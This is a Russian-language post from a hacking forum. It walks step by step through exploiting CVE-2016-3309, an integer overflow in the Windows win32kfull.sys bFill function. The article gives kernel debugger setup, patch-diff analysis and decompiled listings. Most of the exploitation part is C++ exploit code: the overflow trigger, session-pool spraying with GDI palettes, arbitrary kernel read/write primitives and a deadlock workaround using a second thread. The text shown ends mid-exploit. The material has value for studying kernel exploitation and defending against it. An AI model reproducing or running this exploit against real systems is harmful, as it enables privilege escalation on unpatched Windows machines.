• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатируем реальную уязвимость в драйвере ядра Windows (CVE-2016-3309)

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Эта статья является непрямым продолжением моей предыдущей статьи. Много чего из предыдущей статьи будет упомянутой в этой, так что если вы её ещё не читали, то советую ознакомиться: https://xss.pro/threads/52570.

Заранее стоит отметить, что если вы ранее не эксплуатировали уязвимости ядра Windows, и не понимаете как оно работает, то эта статья не для вас. Здесь я не буду подробно останавливаться на том, как работают те или инные механизмы ядра, сегодня мы полностью сосредоточимся на анализе и эксплуатации уязвимости.
  1. Содержание
  2. Предисловие
  3. Инструментарий
    1. Настройка kdnet
  4. Анализ уязвимости
  5. Эксплуатация
    1. Нерешённые вопросы
      1. Вызов уязвимой функции
      2. Контроль размера выделения
    2. Спреим пул
    3. Deadlock основного потока
    4. Создаём второй поток
    5. Дописываем эксплоит
  6. Итоги
Предисловие
В прошлой статье я отложил эксплуатацию реальной N-day уязвимости на следующий раз, и вот этот следующий раз настал.
Дело в том что в отличии от HEVD, при эксплуатации реальной уязвимости сталкиваешься с большим количеством нюансов и подводных камней. В этой статье я пошагово разберу эксплуатацию уязвимости, так что при желании вы сможете повторить мой опыт. ISO файл уязвимой версии Windows я выложил на мегу: https://mega.nz/file/4F9iDCJC#y60E9jzSyni9iy3BPHdYx1brrGzMhN8TcowEeMohs_c

Инструментарий
Говоря об инструментарии, изменения относительно прошлой статьи не большие. Хочу сказать спасибо varwar, за то что указал мне на существование такой замечательной вещи как kdnet. Сегодня он займёт место VirtualKd из предыдущей статьи

Кроме того, в качестве декомпилятора сегодня выступит Ghidra, все скриншоты были сделаны в ней. Если захотите сами покопаться в драйверах, вы вольны использовать любой декомпилер. В конце статьи я приложу файл win32kfull.sys двух версий.

Настройка kdnet
Настоить kdnet очень легко.
1) Просто скопируйте два файла kdnet.exe и VerifiedNICList.xml из:
"C:\Windows Kits\10\Debuggers\x64"
И разместите их в любом месте на уязвимой виртуалке. Я советую создать для них отдельную папку на диске С:
"C:\KDNET"

2) Далее открываем отладчик, жмём File и открываем "Attach to kernel":

1.png


В поле Port number вводим номер порта, я обычно беру 50014. А в поле Target вводим ip адрес уязвимой виртуалки

2.png


3) Теперь на виртуалке открываем cmd с правами администратора, и переходим в каталог с файлами скопированными на шаге 1

3.png


Запускаем kdnet.exe:
.\kdnet.exe <ip address> <port>
1) ip address - ip адрес машины на которой запущей отладчик
2) port - порт указанный в отладчике

4.png


5) kdnet сплюнул нам ключ, который мы вставляем в поле Key в отладчике
6) Подключаемся к виртуалке нажав в отладчике OK, и перезагружаем виртуалку:
shutdown -r -t 0

Для удобства команды можно объединить в одну:
cd C:\KDNET & .\kdnet.exe <ip address> <ip> & shutdown -r -t 15

Анализ уязвимости
Теперь перейдём к краткому анализу уязвимости. Всё что мы изначально знаем это имя уязвимой функции: win32kfull!bFill, и тип уязвимости: IntegerOverflow.

Возьмём два файла win32kfull.sys. Один из уязвимой перед CVE-2016-3309: Windows 10 1703 x64 Creators Update, а второй из пропатченой версии: Windows 10 1909. Статья и так получается не маленькой, так что мы не будем полностью анализировать фукнцию а сразу перейдём к интересным для нас различиям в функции bFill. На первом скрине у нас пропатченая версия:

5.1.png


А на втором уязвимая:

5.png


Очевидно что в уязвимой версии не хватает одного блока. Этот блок осуществляет проверку, является ли значение в ECX(param1) большим чем 0xffffffff. Если это так то мы попадаем в так называемый bad block(я отметил его красным). Он сразу же перебросит нас в конец фукнции:

5.2.png


Из всего вышесказанного, думаю стало очевидно что именно здесь происходит IntegerOverflow. Давайте более подробно разберём этот фрагмент уязвимой фукнции.

5.png


Первое что бросается в глаза это вызов PALLOCMEM2, что намекает на то что нам придётся работать с пулом. Вот листинг декомпилера для PALLOCMEM2:

7.png


Следующее что бросается в глаза это регистр RAX:
По адресу 1c011db47, RAX умножается на 3 и перемещается в ECX(param_1). После происходить побитовый сдвиг влево, на 0x4, что по сути является умножением на 0x10. После чего без каких либо проверок ECX передаётся в PALLOCMEM2.

Если подставить в RAX правильные числа, то мы сможем переполнить 32-битный регистр ECX. В результате чего выделится маленький объект, который позже будет переполнен.

В декомпилере это выглядит примерно так:

8.png


Эксплуатация
Нерешённые вопросы
После того как мы поняли суть уязвимости, осталось выяснить ещё несколько вопросов:
  1. Как добраться до уязвимой функции
  2. Как проконтролировать размер выделения
Начнём с первого

Вызов уязвимой функции
При эксплуатации любой уязвимости, когда встаёт вопрос о том как достичь уязвимой функции, первое что стоит сделать это посмотреть на перекрёстные ссылки(xrefs).
Проследовав по цепочке перекрёстых ссылок:

9.png

10.png

11.png

12.png


В EngFastFill() все вызовы приходят из самой EngFastFill(), значит её вызывают извне. В результате у нас получается следующая цепочка вызовов:
bFill() <- bEngFastFillEnum() <- bPaintPath() <- EngFastFill()

Далее нам нужно понять что нам требуется чтобы пройти всю цепочку вызовов. Для этого взгялнем на листинги дизассемблера для каждой функции:

bEngFastFill:
C++:
void bEngFastFillEnum(uint *param_1,_RECTL *param_2,unsigned_long param_3,FuncDef5 *param_4,
                     undefined8 param_5,void *param_6)

{

  ...

  bFill((EPATHOBJ *)param_1,param_2,local_194,param_4,param_6);
LAB_1c011c3f8:
  __security_check_cookie(local_48 ^ (ulonglong)&stack0xfffffffffffffe28);
  return;
}
Сдесь вызов проходит безусловно.

bPaintPath:
C++:
undefined8
bPaintPath(longlong param_1,undefined8 param_2,undefined8 param_3,uint param_4,int param_5,
          undefined4 param_6)
{

  ...

  uVar3 = bEngFastFillEnum(param_2,param_3,param_6,vPaintPathEnum,vPaintPathEnumRow,&local_38);
  return uVar3;
}
В bPaintPath тоже без условно.

И EngFastFill:
C++:
int EngFastFill(longlong param_1,_PATHOBJ *param_2,_RECTL *param_3,uint *param_4,_POINTL *param_5,
               uint param_6,unsigned_long param_7)
{
  short sVar1;
  int iVar2;
  SURFACE *pSVar3;
  longlong lVar4;
  uint uVar5;
  undefined8 in_stack_ffffffffffffffc8;
  uint uVar6;
  unsigned_long uVar7;
  
  uVar6 = (uint)((ulonglong)in_stack_ffffffffffffffc8 >> 0x20);
  pSVar3 = (SURFACE *)SURFOBJ_TO_SURFACE();
  if (*(short *)(param_1 + 0x4c) != 0x0) {
    return -0x1;
  }
  sVar1 = CONCAT11((&gaMix)[param_6 >> 0x8 & 0xf],(&gaMix)[param_6 & 0xf]);
  if (sVar1 == 0x0) {
    uVar5 = 0x0;
LAB_1c011c07a:
    lVar4 = (ulonglong)uVar6 << 0x20;
LAB_1c011c08a:
    iVar2 = bPaintPath(pSVar3,param_2,param_3,uVar5,lVar4,param_7);
  }
  else {
    ...
}
А вот EngFastFill вызов прячется внутри условной конструкции. Сильно не углубляясь можно сказать, что вызов зависит от передаваемого Device Context. В нашем случае это должен быть Memory, т.е. битмапы.

Суммируя всё вышесказанное и пять минут в гугле, получаем следующий код:
C++:
#include <windows.h>
#include <stdio.h>

int main() {
    printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
    printf("[*] Trying to reach vulnerable function win32kfull!bFill\n");

    HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x111, 0x1111, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
    if (!BeginPath(hMemDC)) {
        printf("[!] Error in BeginPath!\n");
        return 1;
    }

    int size = 0x1111;
    POINT* points = (POINT*)malloc(size * sizeof(POINT));

    if (!PolylineTo(hMemDC, points, size)) {
        printf("[!] Error in PolylineTo()\n");
        return 1;
    }

    EndPath(hMemDC);
    FillPath(hMemDC);

    printf("[+] Finish\n");

    return 0;
}

Первым идёт вызов GetDC(NULL), который вернёт нам Device Context всего экрана(https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getdc). Далее идёт вызов CreateCompatibleDC(hdc), который вернёт нам хэндлер памяти. В памяти мы создадим битмап(CreateBitmap), и добавим линии(PolylineTo). Здесь нас интересует всего 2 параметра: это кол-во точек и кол-во линий, запомните их, они пригодятся нам позже.

Ставим бряк на win32kfull!bFill, запускаем наш exe и получаем следующее:

13.png


Примечание: Если кто-то всё таки решится сам повторить эксплоит, то советую устанавливать аппаратные точки останова, так как обычные у меня не работали. Делается это так:
Обычная точка останова:
bp win32kfull!bFill
Аппаратная:
ba e1 win32kfull!bFill
У аппаратных бряков есть ограничение, их может быть всего 4. Это ограничение процессорной архитектуры и вы ничего с этим не сделаете, так что учитвайте что у вас всего 4 точки останова.

И так, мы достигли нашей функции bFill. Одной проблемой меньше!

Контроль размера выделения
Контролировать размер выделения можно при помощи аргументов передаваемых в функции. Как вы помните в bFill, RAX умножается на 3, затем на 0x10. Чтобы выполнить переполнение 32-битного регистра ECX, нам нужно значение большее чем MAX_UINT32, те больше чем 0xffffffff. 0xffffffff / 3 = 0x55555555, из этого следует:
Если мы поместим в RAX 0x55555556, то 0x55555556 * 3 = 0x100000002, но регистр 32-битный, те в ECX будет лежать 0x00000002. Затем 0x00000002 будет умножено на 0x10(16). И в результате мы получим 0x20. Формула такая:
y = (x + 1) * 3 * 0x10

Спреим пул
Настало время определится с тем, как будет выглядеть наш пул. Но перед эти, определим примитив который будем использовать. В прошлой статье это были GDI Bitmap(SURFOBJ), в этот раз мы воспользуемся GDI Palette(XEPALOBJ). Палетки работают примерно так-же как и битмапы. Вот структура _PALETTE64:
C++:
typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG             flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC               hdcHead;       // 0x24
    ULONG64           hSelected;     // 0x28
    ULONG64           cRefhpal;      // 0x30
    ULONG64           cRefRegular;   // 0x34
    ULONG64           ptransFore;    // 0x3c
    ULONG64           ptransCurrent; // 0x44
    ULONG64           ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64           pfnGetNearest; // 0x3c
    ULONG64           pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64           pRGBXlate;     // 0x48
    PALETTEENTRY      *pFirstColor;  // 0x80
    struct _PALETTE   *ppalThis;     // 0x88
    PALETTEENTRY      apalColors[3]; // 0x90
}
В ней нас интересуют два поля: cEntries и pFirstColor. cEntries указывает кол-во членов массива colors, а pFirstColor это указатель на первый элемент этого массива. Что нам это даёт? При помощи фукнций GetPaletteEntries и SetPaletteEntries, мы можем переписывать и считывать элементы массива. При условии что мы перепишем поля структуры _PALETTE64 нужными нам значениями, мы получим ArbitraryRW примитив.

Как и в случае с битмапами, мы расположим два объекта подряд, один из которых мы обозначим Manager, а второй Worker. Manager будет переписывать поля в Worker, а Worker будет осуществлять запись и чтение из памяти.

При чтении и записи с использованием фукнций Get/SetPaletteEntries стоит учитывать что мы читаем не память напрямую, как в случае с GetBitmapBits, а читаем массив, каждый элемент которого представляет собой структуру _PALETTEENTRY:
C++:
typedef struct tagPALETTEENTRY {
    BYTE peRed;
    BYTE peGreen;
    BYTE peBlue;
    BYTE peFlags;
} PALETTEENTRY

Каждый раз считывая или записывая в память, мы будем делить требуемый размер памяти на размер PALETTEENTRY(4 байта). Учитывая это мы получаем следующие фукнции произвольного чтения\записи:
C++:
int write(UINT64 target_address, BYTE* data, int size) {
    // cEntries
    memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18*4)], &size, sizeof(DWORD));
    // pFirstColor
    memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
    // Setting values
    SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
    // Writing data
    return SetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}

int read(UINT64 target_address, BYTE* data, int size) {
    // cEntries
    memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
    // pFirstColor
    memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
    // Setting values
    SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
    // Reading data
    return GetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}
Где:
manager_bits - массив данных которые мы будет писать в память, с помощью manager палетки. Этот массив включает заголовок worker палетки с нужными нам значениями cEntries и pFirstColor
cEntries_offset - отступ до поля cEntries следующей палетки

Для создания палетки используется фукнция CreatePalette().
Размер _PALETTE64 мы можем контролировать на этапе создания палетки, изменяя кол-во элементов массива apalColors. Для создания палеток определённого размера мы будем использовать следующую функцию:
C++:
HPALETTE createPaletteOfSize(int size) {
    int pallette_entry_count = (size - 0x90) / 4;
    int pallette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1)*sizeof(PALETTEENTRY);

    LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
    memset(lPalette, 0x4, pallette_size);
    lPalette->palNumEntries = pallette_entry_count;
    lPalette->palVersion = 0x300;
    return CreatePalette(lPalette);
}

Нюанс заключается в том, что наше переполнение - неконтроллируемое, тоесть мы не контроллируем то, чем переписываем данные в _PALETTE64. В результате этого мы затрагиваем те поля структуры, которые трогать не следует, об этом я ещё расскажу чуть ниже. Поэтому в нашем случае мы разместим 3 палетки, первая будет названа pwnd, вторая manager, а третья worker.

Из всего вышесказанного складывается следующая карта пула:
Chunk №1: (Trash Palette){0xf50} + (Vuln Object){0xb0}
Chunk №2: (Pwnd Palette){0xff0} + (Padding){0x10}
Chunk №3: (Manager Palette){0xff0} + (Padding){0x10}
Chunk №4: (Worker Palette){0xff0} + (Padding){0x10}

Размер чанка в нашем случае будет 0x1000, а размер уязвимого объекта с учётом заголовка будет 0xb0. Чтобы разместить уязвимый объект в конце чанка, перед ним мы размещаем палетку которая просто будет занимать пространство.

Размер итогового уязвимого объекта мы получаем из 2 параметров: числа линий и числа точек в них. Нам потребуется выделение размером 0xb0, без заголовка POOL_HEADER это будет 0xa0, давайте воспользуемся формулой которую я указывал ранее:
y = (x + 1) * 3 * 0x10 , где y = 0x2000000a0. Решим просто линейное уравнение: (x + 1) = 0x2000000a0 : 0x30, (x + 1) = 0xaaaaaae, x = 0xaaaaaad
Из этого следует что в качестве числа линий и числа точек мы можем использовать любые два числа, результат умножения которых будет равен 0xaaaaaad, это 0x1769 и 0x74a5.

Давайте создадим структуру, в которой будем хранить хендлеры палеток:
C++:
typedef struct pool_palettes_ {
    HPALETTE trash;
    HPALETTE pwnd;
    HPALETTE manager;
    HPALETTE worker;
}pool_palettes;

Кроме того нам понадобится функция которая будет выделять мусорные объекты контролируемого размера:
C++:
typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;

void SetupUserConvertMemHandle() {
    printf("[*] Setting up a UserConvertMemHandle\n");
    pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
    if (!pfnUserConvertMemHandle) {
        printf("[!] Can't setup UserConvertMemHandle");
        exit(-1);
    }
    printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}

HANDLE AllocateOnSessionPool(unsigned int size) {
    int alloc_size = size - 0x14;
    BYTE* buffer = (BYTE*)malloc(alloc_size);
    memset(buffer, 0x41, alloc_size);
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
    BYTE* buf = (BYTE*)GlobalLock(hMem);
    memcpy(buf, buffer, alloc_size);
    HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
    GlobalUnlock(hMem);
    return hMem;
}

А теперь заспреим пул:
C++:
DWORD chunksize = 0xa0;

printf("[*] Preparing a pool\n");
for (int i = 0; i < 0x400; i++) {
    AllocateOnSessionPool(0xfe0);
}

for (int i = 0; i < 0x5000; i++) {
    AllocateOnSessionPool(chunksize);
}

palletes = (pool_palletes*)calloc(create_objs_count, sizeof(pool_palletes));

for (int i = 0; i < create_objs_count; i++) {
    palettes[i].trash = createPaletteOfSize(0xf40);
    palettes[i].pwnd = createPaletteOfSize(0xfe0);
    palettes[i].manager = createPaletteOfSize(0xfe0);
    palettes[i].worker = createPaletteOfSize(0xfe0);
}

for (int i = 0; i < create_objs_count / 2; i++) {
    AllocateOnSessionPool(chunksize);
}

Устанавливаем бряк на win32kfull!bFill+0x3e6, сразу после вызова PALLOCMEM2. Функция PALLOCMEM2 вернёт адрес уязвимого объекта в регистре RAX:

6.png


Вызовем команду !pool с RAX в качестве аргумента, и в выводе получим следующее:

14.png


Как и ожидалось, мы получили следующую картину:
По адресу ffff959d1f0ecf50 распологается наш уязвимый объект размером 0xb0. Сразу за ним по адресу rax+0xb0 распологается pwnd палетка, за которой следуют manager и worker.

Deadlock основного потока
Вернёмся к тому нюансу который я упоминал выше. Т.к. наше переполнение неконтролируемое, поля структуры до cEntries будут переписанны мусором. Cтруктура PALETTE64:
C++:
typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG             flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC               hdcHead;       // 0x24
    ULONG64           hSelected;     // 0x28
    ULONG64           cRefhpal;      // 0x30
    ULONG64           cRefRegular;   // 0x34
    ULONG64           ptransFore;    // 0x3c
    ULONG64           ptransCurrent; // 0x44
    ULONG64           ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64           pfnGetNearest; // 0x3c
    ULONG64           pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64           pRGBXlate;     // 0x48
    PALETTEENTRY      *pFirstColor;  // 0x80
    struct _PALETTE   *ppalThis;     // 0x88
    PALETTEENTRY      apalColors[3]; // 0x90
}

Первым её полем является другая структура - BASEOBJECT64:
C++:
typedef struct _BASEOBJECT64 
{
    ULONG64 hHmgr;        // 0x0
    ULONG32 ulShareCount;    // 0x8
    WORD cExclusiveLock;    // 0xc
    WORD BaseFlags;        // 0xe
    ULONG64 Tid;        // 0x10
}BASEOBJECT64

Нас волнует поле hHmgr, ведь если переписать его случайным значением, мы попадём в BSOD. Давайте установим точку останова на изменение hHmgr и посмотрим какая конкретно фукнция его переписывает:

15.jpg


До переполнения hHmgr = 0x000817ca. Взглянем какая функция его изменяет:

16.jpg


На точку останова попадает win32kbase!AddEdgeToGET. Давайте вглянем на неё в декомпилере:

17.png


Эта фукнция перемещает points в уязвимый объект в памяти, здесь фактически и происходит переполнение. Взяглянем на этот код чуть подробнее:
Я отметил 3 параметр как previous(предыдущая точка), и 4 как current(перемещаемая точка). В самом начале функции они будут перемещены в регисты EDI и EBX соответственно, после этого current попадёт в R11D, а по адресу 1c009e9df происходит вычетание: current - previous. За этим следует условный переход JS(это знаковый переход, если результат вычетания получился меньше нуля, то переход будет совершён). Вот так это выглядит в дизассемблере:

18.png


Если мы поотлаживаем функцию в отладчике, то станет ясно что (param2 + 0x5) это наш уязвимый объект. Из этого следует что если current point будет больше чем previous point, в объект будет записана единица. Зачем нам эта информация? А затем, что если мы перепишем hHmgr не случайным числом, а единицей то получим не BSOD, а deadlock main потока. То есть система не сломается, а основной поток зависнет.

Почему так происходит? Дело в том что в конце win32kfull!GreSetPaletteEntries и win32kfull!GreGetPaletteEntries происходит вызов DEC_SHARE_REF_CNT. Вот листинг дизассемблера для win32kfull!GreSetPaletteEntries:

19.png


И вот вывод дизассемблера для GreGetPaletteEntries:

20.png


Как вы можете заметить, в конце каждой функции есть вызов DEC_SHATE_REF_CNT. Это внешний вызов:

21.png

Находится функция в win32kbase. Давайте не будем тянуть и сразу взглянем на дизассемблерный листинг:
C++:
uint DEC_SHARE_REF_CNT(uint *param_1)
{
  char cVar1;
  uint uVar2;
  uint uVar3;
  longlong lVar4;
  longlong *plVar5;
  GdiHandleManager *pGVar6;
  uint *puVar7;
  uint uVar8;
  int iVar9;
  ulonglong uVar10;
  int iVar11;
  uint *puVar12;
  longlong **pplVar13;
  uint *local_28;
  int local_20;
  
                    // 0x420f0  494  DEC_SHARE_REF_CNT
  puVar12 = NULL;
  local_28 = NULL;
  iVar9 = 0x0;
  local_20 = 0x0;
  HANDLELOCK::vLockHandle
            (&local_28,(ulonglong)(*param_1 >> 0x8 & 0xff0000 | *param_1 & 0xffff),0x0,0x0);
  puVar7 = local_28;
  if (local_20 == 0x0) {
    return 0x0;
  }
  if (local_28 == NULL) {
    if (local_20 == 0x0) {
      return 0x0;
    }
    HANDLELOCK::vUnlock(&local_28);
    return 0x0;
  }
  if (((*(char *)((longlong)local_28 + 0xe) == '\x05') && (gbGdiHmgrAltStacks != 0x0)) &&
     (gpentHmgrAltStacks != NULL)) {
    RECALTUNLOCKSTACKBACKTRACE(*param_1 & 0xffff);
  }
  cVar1 = *(char *)((longlong)puVar7 + 0xe);
  uVar2 = param_1[0x2];
  if (cVar1 == '\x05') {
    pplVar13 = *(longlong ***)(param_1 + 0x9a);
    uVar10 = 0x0;
  }
  else {
    if (cVar1 != '\x10') goto LAB_1c004216f;
    pplVar13 = *(longlong ***)(param_1 + 0x26);
    uVar10 = 0x2;
  }
  TrackObjectReferenceDecrement(uVar10,pplVar13);
LAB_1c004216f:
  param_1[0x2] = param_1[0x2] - 0x1;
  pGVar6 = gpHandleManager;
  uVar8 = GdiHandleManager::DecodeIndex((uint *)gpHandleManager,*puVar7 & 0xffffff);
  lVar4 = *(longlong *)(pGVar6 + 0x10);
  uVar3 = *(uint *)(lVar4 + 0x808);
  if ((uVar8 < (*(ushort *)(lVar4 + 0x2) + 0xffff) * 0x10000 + uVar3) &&
     ((iVar11 = iVar9, uVar8 < uVar3 || (iVar11 = (uVar8 - uVar3 >> 0x10) + 0x1, iVar11 != -0x1))))
  {
    lVar4 = *(longlong *)(lVar4 + 0x8 + (longlong)iVar11 * 0x8);
    if (iVar11 != 0x0) {
      uVar8 = ((uVar8 + iVar11 * -0x10000) - uVar3) + 0x10000;
    }
    if (uVar8 < *(uint *)(lVar4 + 0x14)) {
      puVar12 = *(uint **)(*(longlong *)
                            (**(longlong **)(lVar4 + 0x18) + (ulonglong)(uVar8 >> 0x8) * 0x8) + 0x8
                          + ((ulonglong)uVar8 & 0xff) * 0x10);
    }
  }
  uVar8 = GdiHandleManager::DecodeIndex
                    ((uint *)pGVar6,*puVar12 >> 0x8 & 0xff0000 | *puVar12 & 0xffff);
  GdiHandleManager::DecodeIndex((uint *)pGVar6,uVar8);
  lVar4 = *(longlong *)(pGVar6 + 0x10);
  uVar3 = *(uint *)(lVar4 + 0x808);
  if ((uVar8 < (*(ushort *)(lVar4 + 0x2) + 0xffff) * 0x10000 + uVar3) &&
     ((uVar8 < uVar3 || (iVar9 = (uVar8 - uVar3 >> 0x10) + 0x1, iVar9 != -0x1)))) {
    plVar5 = *(longlong **)(lVar4 + 0x8 + (longlong)iVar9 * 0x8);
    if (iVar9 != 0x0) {
      uVar8 = ((uVar8 + iVar9 * -0x10000) - uVar3) + 0x10000;
    }
    puVar12 = (uint *)(*plVar5 + 0x8 + (ulonglong)uVar8 * 0x18);
    *puVar12 = *puVar12 & 0xfffffffe;
    ExReleasePushLockExclusiveEx
              ((ulonglong)(uVar8 & 0xff) * 0x10 +
               *(longlong *)(*(longlong *)plVar5[0x3] + (ulonglong)(uVar8 >> 0x8) * 0x8),0x0);
    KeLeaveCriticalRegion();
  }
  KeLeaveCriticalRegion();
  return uVar2;
}

Если сильно не углубляться эта функция проверяет значение hHmgr, и если значение не валидно - мы получаем BSOD. Однако hHmgr = 0x1 является валидным значением, однако с таким значением вызов к vLockHandle не вернётся, в результате чего мы получим не BSOD(падение всей системы), а deadlock основного потока.

При этом использование других примитивов чтения\записи, таких как Bitmap, нам не поможет. Вот структура _SURFOBJ:
C++:
typedef struct _SURFOBJ
{
    DHSURF dhsurf;           // 0x000 
    HSURF  hsurf;            // 0x004 
    DHPDEV dhpdev;           // 0x008 
    HDEV   hdev;             // 0x00c
    SIZEL  sizlBitmap;       // 0x010 
    ULONG  cjBits;           // 0x018 
    PVOID  pvBits;           // 0x01c 
    PVOID  pvScan0;          // 0x020 
    LONG   lDelta;           // 0x024 
    ULONG  iUniq;            // 0x028 
    ULONG  iBitmapFormat;    // 0x02c 
    USHORT iType;            // 0x030 
    USHORT fjBitmap;         // 0x032 
  // size                       0x034
} SURFOBJ, *PSURFOBJ;

А вот структура _SURFACE:
C++:
typedef struct _SURFACE
{                            // Win XP
    BASEOBJECT BaseObject;   // 0x000
    SURFOBJ    surfobj;      // 0x010
    XDCOBJ *   pdcoAA;       // 0x044
    FLONG      flags;        // 0x048
    PPALETTE   ppal;         // 0x04c verified, palette with kernel handle, index 13
    WNDOBJ     *pWinObj;     // 0x050 NtGdiEndPage->GreDeleteWnd
    union                    // 0x054
    {
        HANDLE hSecureUMPD;  // if UMPD_SURFACE set
        HANDLE hMirrorParent;// if MIRROR_SURFACE set
        HANDLE hDDSurface;   // if DIRECTDRAW_SURFACE set
    };
    SIZEL      sizlDim;      // 0x058
    HDC        hdc;          // 0x060 verified
    ULONG      cRef;         // 0x064
    HPALETTE   hpalHint;     // 0x068 
    HANDLE     hDIBSection;  // 0x06c for DIB sections
    HANDLE     hSecure;      // 0x070
    DWORD      dwOffset;     // 0x074
    UINT       unk_078;      // 0x078
 // ... ?
} SURFACE, *PSURFACE;

Первый элемент - Опять BASEOBJECT. Кроме этого, давайте взглянем на GreGetBitmapBits и GreSetBitmapBits:
C++:
void GreGetBitmapBits(undefined8 param_1,int param_2,longlong param_3,uint *param_4)
{

    ...

    DEC_SHARE_REF_CNT();
    ppppuVar7 = ppppuVar4;
  }
  DYNAMICMODECHANGELOCK::~DYNAMICMODECHANGELOCK((DYNAMICMODECHANGELOCK *)ppppuVar7);
  __security_check_cookie(local_58 ^ (ulonglong)&stack0xfffffffffffffe78);
  return;
}

void GreSetBitmapBits(undefined8 param_1,int param_2,undefined8 param_3,int *param_4)
{

    ...

    DEC_SHARE_REF_CNT();
    ppppuVar8 = ppppuVar4;
  }
  DYNAMICMODECHANGELOCK::~DYNAMICMODECHANGELOCK((DYNAMICMODECHANGELOCK *)ppppuVar8);
LAB_1c00a03bb:
  __security_check_cookie(local_58 ^ (ulonglong)&stack0xfffffffffffffe78);
  return;
}
Как вы можете видеть, в конце каждой функции происходит вызов DEC_SHARE_REF_CNT.

Учитывая всё вышесказанное, давайте перепишем фрагмент с вызовом PolylineTo()
C++:
  HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

    int size = 0x74a5;
    POINT* points = (POINT*)malloc(size * sizeof(POINT));
    DWORD point_value = 0x66000000;
    for (int x = 0; x < size; x++) {
        points[x].x = point_value;
        points[x].y = point_value;
    }

    if (!BeginPath(hMemDC)) {
        printf("[!] Error in BeginPath!\n");
        return 1;
    }

    for (int j = 0; j < 0x1769; j++) {
        if (j == 0) {
            points[1].x = 0x11223344;
            points[1].y = 0x360;
            points[2].x = 1;
            points[2].y = 0x400;
        }
        else {
            points[1].x = point_value;
            points[1].y = point_value;
            points[2].x = point_value;
            points[2].y = point_value;
        }


        if (!PolylineTo(hMemDC, points, size)) {
            printf("[!] Error in PolylineTo()\n");
            return 1;
        }
    }

    EndPath(hMemDC);

Здесь size массива points равен 0x74a5, и кол-во линий будет равно 0x1769. В первой линии первая точка Y будет меньше второй точки Y, поэтому hHmgr будет переписан единицей. Надеюсь этот момент понятен. Давайте проверим это в отладчике:
Установим точку останова на запись в hHmgr. Так hHmgr выглядит до переполнения

22.png


Так выглядит cEntries:

23.png


Так выглядит hHmgr после переполнения:

24.png


Как мы видим мы получили ожидаемый результат, если вызвать Set\GetPaletteEntries то мы получим deadlock.
Так выглядит cEntries:

25.png


Создаём второй поток
Так как избежать deadlock'a основного потока никак не получится, придётся создать новый поток. Давайте начнём писать эксплойт с начала, собирая те части которые я упоминал раньше. Начнём с фукнции main:
C++:
int main() {
    printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
}

Первым делом объявим размер уязвимого объекта, и создадим массив pwnData, который будет содержать данные которые позже запишет в память наша pwnd палетка:
C++:
printf("[*] Preparing for vuln trigger\n");
DWORD vulnsize = 0xa0;
PALETTEENTRY* pwnData = (PALETTEENTRY*)calloc(0x1000, sizeof(PALETTEENTRY));
memset(pwnData, 0x4, 0x1000 * sizeof(PALETTEENTRY));

Теперь добавим в pwnData заголовок _POOL_HEADER для manager палектки:
C++:
BYTE pool_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
memcpy(&pwnData[(cEntries_offset / 4) - 12], &pool_header_palette, sizeof(pool_header_palette) - 1);
Где cEntries_offset будет глобальной переменной равной 0xf98.

Запустим второй поток, который продолжит работу после того как основной поймает deadlock:
C++:
printf("[*] Starting a sub_thread\n");
DWORD tid;
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_thread, 0, 0, &tid);
Где sub_thread - функция о которой я расскажу чуть ниже

Создадим Device Context, получим хэндлер памяти и создадим Bitmap:
C++:
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

Объявим массив points, размером 0x74a5:
C++:
int size = 0x74a5;
